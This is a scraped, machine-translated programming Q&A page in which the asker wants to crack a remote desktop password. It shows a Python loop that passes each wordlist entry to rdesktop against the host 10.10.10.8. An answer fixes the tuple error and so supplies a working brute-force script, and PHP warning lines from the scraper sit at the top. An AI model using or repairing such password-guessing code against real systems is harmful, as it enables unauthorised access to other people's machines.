Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/regex/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 参数1必须是字符串,而不是元组_Python - Fatal编程技术网

Python 参数1必须是字符串,而不是元组

Python 参数1必须是字符串,而不是元组,python,Python,我正在尝试用python破解远程桌面密码。我的脚本输出中有一个错误 import os host = "10.10.10.8" user = "victim" passw = "wordlist.txt" password=open(passw,"r") for passwords in password.readlines(): print("Testing passwords: &qu

我正在尝试用python破解远程桌面密码。我的脚本输出中有一个错误

import os


host = "10.10.10.8"
user = "victim"
passw = "wordlist.txt"

password=open(passw,"r")


for passwords in password.readlines():
    print("Testing passwords: ",passwords)
    command = "rdesktop -u ", user , " -p " , passwords , host
    connect = os.system(command)

您的命令变量正在生成一个元组。尝试以这种方式重写:

import os


host = "10.10.10.8"
user = "victim"
passw = "wordlist.txt"

password=open(passw,"r")


for passwords in password.readlines():
    print("Testing passwords: ",passwords)
    command = "rdesktop -u " + user + " -p " + passwords + " " + host
    connect = os.system(command)

感谢您的帮助脚本现在正常,但发生了另一个错误我正在运行脚本“不连接rdesktop”和“显示rdesktop选项”。"root@kali:~/Desktop#python rdpp.py('测试密码:','victim@123\r\n')rdesktop:远程桌面协议客户端。版本1.9.0。版权所有(C)1999-2016 Matthew Chapman等人。用法:rdesktop[options]server[:port]-u:user name-d:domain-s:shell/无缝应用程序远程启动-C:working directory“如下所示。